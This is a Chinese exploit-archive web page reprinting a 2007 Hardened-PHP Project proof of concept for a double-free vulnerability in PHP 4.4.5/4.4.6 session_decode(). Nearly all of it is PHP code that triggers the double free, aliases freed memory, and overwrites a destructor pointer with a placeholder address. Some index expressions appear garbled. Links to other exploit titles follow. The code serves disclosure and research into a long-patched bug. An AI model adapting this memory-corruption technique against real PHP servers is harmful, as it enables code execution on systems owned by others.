手机
当前位置:查字典教程网 >网络安全 >Exploit >PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
摘要:

<?php

////////////////////////////////////////////////////////////////////////

// _ _ _ _ ___ _ _ ___ //

// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ | || || _ //

// | __ |/ _` || '_|/ _` |/ -_)| ' / -_)/ _` ||___|| _/| __ || _/ //

// |_||_|__,_||_| __,_|___||_||_|___|__,_| |_| |_||_||_| //

// //

// Proof of concept code from the Hardened-PHP Project //

// (C) Copyright 2007 Stefan Esser //

// //

////////////////////////////////////////////////////////////////////////

// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //

//////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion.

die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php");

session_start(); $varname = str_repeat("D", 39);

$$varname = &$_SESSION; // Trigger the double free

session_decode($varname.'|i:0;');

$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";

$_________________a = array("OneElement"); // Now x and a point to the same memory. Therefore x can be used to modify a // Overwrite pointer to the destructor

$_________________x[8*4 0] = chr(0x55);

$_________________x[8*4 1] = chr(0x66);

$_________________x[8*4 2] = chr(0x77);

$_________________x[8*4 3] = chr(0x88);

// Trigger the destruction

unset($_________________a);

?>

【PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC】相关文章:

IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

NaviCOPA Web Server 2.01 Remote Buffer Overflow Exploit (meta)

IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Exploit

Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

WS_FTP Home/Professional FTP Client Remote Format String PoC

Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit

Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit

Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit

Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit

精品推荐
分类导航